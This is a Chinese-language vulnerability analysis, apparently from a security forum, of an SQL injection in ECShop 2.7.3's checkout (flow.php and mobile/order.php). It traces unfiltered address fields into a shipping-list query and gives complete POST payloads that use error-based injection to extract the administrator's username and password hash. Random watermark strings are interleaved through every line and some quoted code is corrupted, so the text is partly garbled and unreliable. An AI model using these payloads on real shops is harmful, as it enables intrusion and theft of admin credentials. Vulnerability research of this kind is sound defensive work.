前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。& w2 `/ u7 N7 K( V
2 @0 J; ?/ O* a" ?, O2 K) B4 i 漏洞关键文件:* U9 R9 Z7 R1 o" f2 E" n
; @$ u; t, a r1 s" l5 @ /includes/lib_order.php: l$ B! H9 s. [
; l# {2 {3 i3 I 关键函数:
) \1 l- M! C: T2 P3 l$ o5 X
" \8 _7 H5 ?7 W8 C0 J 1 D0 K: ^1 l! b3 o' }$ J4 V- I9 Q
$ C( t2 \" t, p+ D. g& ?4 L! U3 K01 function available_shipping_list($region_id_list) 2 N- y6 L) q5 U/ E) b5 `6 Z
4 J1 p1 w. ^ B, s2 }$ Y! U
02 { 0 W1 D, N4 O1 R5 L
, S# K1 x1 m6 I' s# ^" p03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . ! {' n+ w6 N: i' y# @$ w, J2 r
; w' T( T# l' I# L7 [7 F1 @1 _7 U6 }
04 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
4 W2 ~' n& s" i2 j; ]4 ]3 J$ a$ Y/ R1 H* g# q
05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
' F" O/ A( T l* [6 _& Q4 Q
! v/ Z8 J2 B+ k* G9 B% d06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . & a! R0 u% r4 W4 I8 l
- v( o- r# F4 _# I' D07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
; d9 O# \/ Q" X6 n+ F: u4 w5 x, y1 V+ A# J7 P- y
08 'WHERE r.region_id ' . db_create_in($region_id_list) .
2 L$ y; D3 u z! V' Q# d2 d n% G: p! H+ D: C
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
# \. a% y; \/ }& Z {, X- L
4 w/ M* [ c# b8 z4 Z# G0 W* t10 F, R5 d% L* M3 ^8 D C7 }$ y
]: ]8 |& q6 R
11 return $GLOBALS['db']->getAll($sql); : p' _ V$ o$ C( B7 M
' s- ^8 u1 x+ e% w1 {' X" t. o12 }
6 K6 N3 `0 s1 U8 |0 {
# y* s; m2 O" G显然对传入的参数没有任何过滤就带入了查询语句。( k$ R A! H! N7 V4 L$ K
' T h) Q. k- N# ~5 ?. C1 X下面我们追踪这个函数在flow.php中:
4 Q* w9 O* ]) F% W- c 第531行: : n# V y; o9 m2 l. q+ Y* i
* \" F& h9 p, L0 S B; x0 g& w P1 $shipping_list = available_shipping_list($region);
$ ^3 k; n4 h6 K: \
& R4 R) o4 S! }$ e$ l& d7 [; {. a ) H# ~8 H: V) ?/ x8 _
- L( V! w: e& m8 t& c0 ]* m
1 r* {, B0 \4 g5 F# h* ]; Z4 I: |, ~! r7 Y- V, k
再对传入变量进行追踪:" E6 z* e0 e s D/ a% I4 l
3 x1 s& _; P, Q$ ^9 V8 X第530行: ) @; T# B5 b7 O! B6 E
: i' o3 g' R1 g" l7 ?! B- E* K1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); $ |4 I+ u0 g$ s. f+ y0 C
P/ l8 a) o6 v" r7 T) ?+ f 9 X" J( C2 U% E
% m6 O8 W1 c/ K6 u2 `
. A0 b" u6 b% e0 H D; l; ]* R5 |1 H. Q$ x/ Q- J- d
第473行: 9 K* }# E. W( p" E6 D: _
6 n$ C& O9 o" |$ n
1 $consignee = get_consignee($_SESSION['user_id']);
8 K5 }1 n( z5 {7 D
; r$ i3 h1 r0 ^! ?2 c6 @; B* W到了一个关键函数:
( G$ O! B2 p# q" H2 L W' i# S
7 t5 L+ c, h6 X; t! V/includes/lib_order.php
/ s- \- ?+ f [# o: x* [; Y' m2 n7 K$ ]: U7 S5 V8 B2 k- Q( `6 n7 J
, L r0 c( b+ X% r( V6 E* c& P
* {- a# ^2 ]+ o( ~ 3 Q% S7 o) ?# W. @; ]! t
9 m" b/ R4 q, P01 function get_consignee($user_id) 5 j3 t7 R3 j) Q
" I r( I' j8 @' y' L: N7 ~% n+ x02 {
; J N' V: ?3 Y6 o$ j1 M, Q _: \ k7 L
03 if (isset($_SESSION['flow_consignee']))
# s9 ~6 ^, y- q# [% t
9 [' J& X& H" K% B1 i04 { : t) w& e( ? |
+ C% @) C( Y) S05 /* 如果存在session,则直接返回session中的收货人信息 */
: X0 m% f' G: ?, \- a0 g g4 T/ o# M; U; L
06 $ i& Y) _0 W8 }! W0 @
0 c/ E) S h7 {) k( i2 V
07 return $_SESSION['flow_consignee'];
# z* r5 J* g! y, w
( F& I0 n! ?5 j+ h. A% ^: \/ D8 S/ v08 } 7 s3 Q2 u' N( [) `% ^) P0 V! a/ S& ^7 |/ H
9 i$ u" W0 |" T m09 else " S# J5 M4 r) F
8 Q5 s# b( }6 U+ _$ U0 u& S10 {
' d3 L9 Q! l5 {2 j7 F1 ^" F0 V, P* h. Q* ?$ I
11 /* 如果不存在,则取得用户的默认收货人信息 */ 1 I: \' V8 ?; t0 f" b: g
/ j) n* B: h! [2 B: d3 @
12 $arr = array(); 3 C8 I0 t) [! J- \5 `7 I
4 A* S0 z7 Y& L: l, f
13 7 S. {3 A3 _' H5 b! r# c, }3 [8 k1 C
( @. [5 Z$ ?7 ]+ E
14 if ($user_id > 0)
0 P% T) T: d* {, Z) l
0 k# z' h/ d% B5 \6 O- X15 {
/ K4 J+ k1 w2 R# e
* j' X, l" |5 n6 l5 B16 /* 取默认地址 */ / U. S$ U5 u+ C! r, D( G- N
2 c+ k7 r; q/ L# ?( }" l; M
17 $sql = "SELECT ua.*".
0 }# |: D( u& I" n" M1 L1 a; o; F* a$ `, N0 O
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. 5 v# `+ q4 I9 p7 c4 A0 W9 R
, J7 k/ `# y" t1 v9 v8 |3 T! |19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
" A- e* ^- h5 S3 l4 l
5 n; D$ G9 K1 S5 A20 ! B+ d/ c, i; l* T! l
4 h8 o" c3 |3 l" I6 k5 E21 $arr = $GLOBALS['db']->getRow($sql);
5 F/ u8 ~- C9 Z: P0 K: x
- Q% U" ]) y& ~: o( K. A; v22 }
) ]% p' n0 e- D1 Y. Z7 W: B5 c( K1 w2 Y7 M6 G) P
23 8 y% f1 @/ @/ g6 J: F
" n0 E& ^* \5 y$ k7 @24 return $arr; 6 C8 n) Z) f u/ n' A2 C
' k [ }3 m" r( C0 v" F; D25 } p9 @9 B# h+ ] [( ?" ]
2 L/ @) l# a0 X26 } 8 F8 x: k4 {0 l- O9 [ d0 E/ [2 J
/ B; t7 U, h8 R) j8 @8 i显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?9 m( D' J1 ^; f p& G: N9 h
2 y, u; a* p( v: h( p4 d, Y & r2 N# m4 p$ G& z, s
- o& k; L5 s9 h' F* g
关键点:
" G6 B w ^% _: A+ T' H# h( y' e
9 {0 L- b4 u) ]/ c. }! D第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
* Q3 i6 e$ b2 u! Y- `: C% K: p1 A' D- e$ O4 {8 z
这里对传入参数反转义存入$_SESSION中。
7 a8 |% k" G5 b T9 {* v6 y/ h9 q: b3 a B5 }/ _
E4 G8 f5 w4 o9 n( F5 N
8 `, F7 I, I: k
然后看下:* c; W% o: T" n) _! }0 ^* H
3 y. o3 k* v9 k5 M6 h
0 g e) s" M% \; N3 C. J+ P/ F
0 ?3 c) x0 ?- S
. _1 d* S2 }0 @, W& g% d8 r: V# g: @+ S; M9 U
01 $consignee = array( ( Q' H7 p* R* r" N+ s
; y" j$ u1 x0 ^02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), , g, P" L0 ?1 Y/ i. Z$ A
) r$ Q7 e% C* Y4 a, D t3 N% ]+ J: E% \03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
8 i0 S( @) {- c. Y% U' X
2 u7 |* h' J) v04 'country' => empty($_POST['country']) ? '' _POST['country'],
; ?9 |3 L% h4 E/ f9 s/ ?/ V( ~; g* o0 N" X1 K
05 'province' => empty($_POST['province']) ? '' _POST['province'],
, X5 R$ C; d2 S1 y* ]7 g/ U+ P" x( N9 d; v" ~% n+ b
06 'city' => empty($_POST['city']) ? '' _POST['city'],
8 W; @( s7 [* U" r
+ G _0 c4 P1 w2 [5 b, }/ m& N07 'district' => empty($_POST['district']) ? '' _POST['district'],
1 A5 K9 x, [# D1 j' |3 h. ]/ ?
: x# { {% X/ r4 w08 'email' => empty($_POST['email']) ? '' _POST['email'], ! g: w. O% ?# v8 W. K0 }3 n
! ^. O+ s4 u- C+ U09 'address' => empty($_POST['address']) ? '' _POST['address'],
" a) |" [& L( K4 J( |& N+ M3 P* R/ V
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])), $ v7 c/ T9 b3 ^% y: L
% I/ y4 o6 U7 i# Y Y
11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
4 Z+ ~! h7 j. O9 m5 ]' }" F$ a+ P3 c( I4 a
12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), % {$ J) W1 x+ A; O' g) f
- k+ M- c2 |4 C' b
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
0 ~* _0 @, Z6 Q2 `
- j9 F: P2 j m5 f* V14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'], 3 x* V: ~" B" P& e. \$ W
" W/ ?# d1 O/ i$ U! }' B( w/ ]15 );
! r) r1 D- }3 y# y: E) |' ]1 j- H. ]8 {& ]
好了注入就这样出现了。) h9 R; |# _9 w9 t, N& N p" C% l" n9 I
( b2 C- y w6 G8 L8 B/ Y" v( b==================/ \- s. }) q, |4 [' f: y
: g7 l) e/ M% z( W8 L0 q& m注入测试:8 f9 f. v2 N8 l1 @! M2 a: h0 W
- N2 o+ D9 b* P2 S7 A/ S环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)2 T% T* v* e) s8 O N) \1 r$ v& ]
- Y0 r4 m5 E2 I/ K. C: g
测试程序:ECShop_V2.7.3_UTF8_release11068 p O8 M; z* }5 G' P0 W9 r
! V# T4 x# Q) k1 M& o
- O! k+ c1 Y( U
7 F0 ^# L& Q f$ A1 G* w; V3 K6 D1.首先需要点击一个商品加入购物车2 s' y4 g9 V1 G. o1 ]5 v) r' U
- M5 [4 ~1 x2 _. O( Z
2.注册一个会员帐号
; @/ E) ?2 l& ?0 g% V+ \5 T. T/ ?6 B, \( k/ ]* z' B. v
3.post提交数据) N; p! E: Q' y. n- Z
. M& ^! Y' [6 F& ^
: | }1 h0 g3 {' {+ p
9 Q, Z$ y% J9 P' ?9 q) {
1 http://127.0.0.1/ecshop/flow.php 2 C+ `2 I4 R$ ?$ I- Y
/ S% d) s$ S6 G) F2 e2
# p: a0 P3 w8 {5 K0 V( U; }2 G, n0 a2 A! O; s U: Y6 Z: S
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
) _. \: {2 w6 [% g举一反三,我们根据这个漏洞我们可以继续深入挖掘:4 d/ V5 o H1 V$ {: y; _! j
9 C* m" ~: N0 r8 P% c/ [我们搜寻关键函数function available_shipping_list()
/ }' g& p8 |% Y; c4 N {/ a! k% m) \3 `0 i7 A7 R4 d" ]2 g* G
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同' A. T* a5 X: Z: I
" g$ _3 y h- ^' \8 t利用exp:! W: J8 O$ D* o
; m$ A4 n8 [( p; b U/ {
1.点击一个商品,点击购买商标
! B* Y( q/ v0 H: i4 w+ {/ e }* a* u3 h4 ? m9 x
2.登录会员帐号
0 O5 d7 y4 z3 _
) L) u; H7 w( O- [! w; x e3.post提交:0 i5 ]# r9 S4 G9 l; k& u9 p
# b1 [2 r; P6 }8 k1 @4 u0 R0 a
http://127.0.0.1/ecshop/mobile/order.php: q B. f: I7 @
. ]! J1 [% S7 w3 V' q& f
9 k* a( G) E' O2 T: r/ W- d1 ?0 e- y
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=0 B5 o/ y, }4 H- ]& |0 P3 D, W
8 N2 c) ]: b/ ]/ m& ?3 S7 T |